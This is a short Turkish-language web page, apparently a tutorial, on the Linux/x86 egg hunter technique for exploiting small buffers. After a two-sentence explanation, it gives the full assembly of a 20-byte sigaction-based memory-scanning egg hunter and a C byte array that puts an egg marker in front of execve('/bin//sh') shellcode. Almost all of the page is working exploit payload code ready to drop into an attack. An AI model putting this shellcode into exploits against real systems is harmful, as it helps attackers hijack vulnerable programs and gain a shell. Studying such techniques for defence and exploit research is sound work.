Linux/x86 Egg Hunter Shellcode - 20 Bytes (Klasik Teknik)

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-purple-500 pl-5 py-3 bg-purple-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Klasik Teknik - Egg Hunter - 20 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x86 Egg Hunter Shellcode - 20 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Egg hunting, sinirli buffer boyutunda kullanilan iki asamali shellcode teknikidir. Kucuk egg hunter kodu once bellegi tarar, belli bir isaret bulunca asil shellcode'a atlar.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Egg Hunter Assembly</h3>
    <p class="text-sm text-slate-700 mb-3">Her sayfa sinirinda sigaction ile adresin erisilebilir oldugu test edilir. EFAULT gecersiz adres isaretidir.</p>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; Egg degeri: 0x50905090
egg_hunter:
    xor   ecx, ecx
next_page:
    or    cx, 0xFFF
next_addr:
    inc   ecx
    push  byte 0x43       ; sigaction
    pop   eax
    int   0x80
    cmp   al, 0xF2        ; EFAULT?
    jz    next_page
    mov   eax, 0x50905090 ; egg
    cmp   [ecx], eax
    jnz   next_addr
    cmp   [ecx+4], eax    ; cift kontrol
    jnz   next_addr
    jmp   ecx             ; Stage-2'ye atla
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Stage-2 Hazirlama</h3>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
char egg[] =
    "\x90\x50\x90\x50"  // egg x1
    "\x90\x50\x90\x50"  // egg x2
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68"  // execve
    "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    </div>
  </div>
</div>